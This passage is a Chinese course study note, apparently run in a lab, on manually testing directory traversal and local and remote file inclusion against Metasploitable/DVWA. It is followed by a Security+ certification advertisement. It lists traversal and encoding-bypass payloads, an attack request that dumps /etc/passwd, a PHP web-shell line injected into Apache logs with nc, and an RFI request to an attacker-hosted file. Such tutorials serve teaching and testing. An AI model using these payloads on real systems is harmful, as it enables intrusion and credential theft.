【安全牛学习笔记】手动漏洞挖掘(三)

来源:互联网 发布:mac读不到移动硬盘 编辑:程序博客网 时间:2024/06/06 07:19

手动漏洞挖掘

Directory travarsal / File include(有区别/没区别)

    目录权限限制不严 / 文件包含

/etc/php5/cgi/php.ini

    allow_url_include = on

应用程序功能操作文件,限制不严时导致访问WEB目录以外的文件

    读、写文件、远程执行代码

特征但不绝对

    ?page=a.php

    ?home=b.html

    ?file=content

msfadmin@metasploitbale:~$ ifconfig

msfadmin@metasploitbale:~$ sudo vi /etc/php5/cgi/php.ini

allow_url_include = ON

msfadmin@metasploitbale:~$ sudo /etc/init.d/apache2 restart

手动漏洞挖掘

经典测试方法

    ?file=../../../../etc/passwd

    ?page=file:///etc/passwd

    ?home=main.cgi

    ?page=http://www.a.com/1.php

    http://1.1.1.1/../../../../dir/file.txt

编码绕过字符过滤

    "."    "%00"       #绕过文件扩展名过滤

        file=a.doc%00.php

    使用多种编码尝试

root@kali:~# pwd

root@kali:~# cd .                       //当前目录

root@kali:~# cd ../../                  //根目录

root@kali:~# cd ../../../../            //跳到根目录

手动漏洞挖掘

不同操作系统的路径特征字符

    类unix系统

        根目录: /

        目录层级分隔符: /

    Windows系统

        C:\

        \ 或 /

手动漏洞挖掘

    url编码、双层url编码

        %2e%2e%2f        解码: ../

        %2e%2e%5c        解码: ..\

        %252e%252e%255c  解码: ..\

    Unicode/UTF-8编码

        ..%c0%af         解码: ../

        ..%u2216

        ..%c1%9c         解码: ..\

手动漏洞挖掘

其他系统路径可能使用到的字符

    file.txt....

    file.txt<spaces>

    file.txt""""

    file.txt<<<>>><

    ./././file.txt

    nonexistant/../file.txt

UNC路径

    \\1.1.1.1\path\to\file.txt

root@kali:~# cd a

root@kali:~# cd a/../a.txt

手工漏洞挖掘

代码 <?php

     $template = 'blue.php'

     if ( is_set( $_COOKIE['TEMPLATE'] ) )

         $template = $_COOKIE['TEMPLATE'];

     include ( "/home/users/phpguru/templates/" . $template );

     ?>

攻击 GET /vulnerable.php HTTP/1.0\

     Cookie: TEMPLATE=../../../../../../../../../etc/passwd

结果 HTTP/1.0 200 OK

     Content-Type: text/html

     Server:Apache

     root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh

     daemon:*:1:1::/tmp:

     phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

手动漏洞挖掘

本地文件包含lfi

    查看文件

    代码执行

        <?php echo shell_exec($_GET['cmd']);?>

        Apache access.log

远程文件包含rfi

    出现概率少于lfi,但更容易被利用

msfadmin@metasploitbale:~$ cd /var/log/apache2/

msfadmin@metasploitbale:~/var/log/apache2$ cat access.log

root@kali:~# nc 192.168.1.118 80

<?php echo shell_exec($_GET['cmd']);?>

HTTP/1.1 400 Bad Request

Date: Mon, 18 jan 2016 12:19:29 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2

Content-Length: 323

Contetion: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML_ PUBLIC "-//IEIF//DTD HTML 2.0//EN">

<html><head>

<title>400 Bad Request</title>

</head><body>

<h1>Bad Request</hl>

<p>Your browser sent a request that this server could not understand.<br />

</p>

<hr>

<address>Apache/2.2.8 (Ubuntu) DAV/2 Server at metasploitable.localdomain Port 80</address>

</body></html>

msfadmin@metasploitbale:~/var/log/apache2$  ls -l access.log

msfadmin@metasploitbale:~/var/log/apache2$ cd ..

msfadmin@metasploitbale:~/var/log$ sudo chmod a+xr apache2/

msfadmin@metasploitbale:~/var/log$ ls -ld apache2/

msfadmin@metasploitbale:~/var/log$ cd ..

msfadmin@metasploitbale:~/var$ ls -ld log

msfadmin@metasploitbale:~/var$ cd ..

msfadmin@metasploitbale:~$ ls -ld var/

msfadmin@metasploitbale:~$ cd /var/log/apache2/

msfadmin@metasploitbale:~/var/log/apache2$ cat access.log

192.168.1.168/dvwa/vulnerablities/fi/?page=http://192.168.1.119/a.php

root@kali:~# nc -nclp 80

listening on [any] 80 ...

connect to [192.168.1.119 from (UNKNOWN) [192.168.1.118] 52612

GET /a.php HTTP/1.0

Host: 192.168.1.119

--------------------------------------------------------------------

<?php

    $file = $_GET['page']; //The page we wish to display

?>

----------------------------------------------------------------------

?php

    $file = $_GET['page']; //The page we wish to display

    // Only allow include.php

    if ( $file != "include.php" ) {

        echo "ERROR: File not found!";

        exit;

     }

?>

?>

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂

Security+认证为什么是互联网+时代最火爆的认证?


      牛妹先给大家介绍一下Security+


        Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

       通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?  

       原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

      目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

       原因二: IT运维人员工作与翻身的利器。

       在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

        原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

        在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。


阅读全文
0 0
原创粉丝点击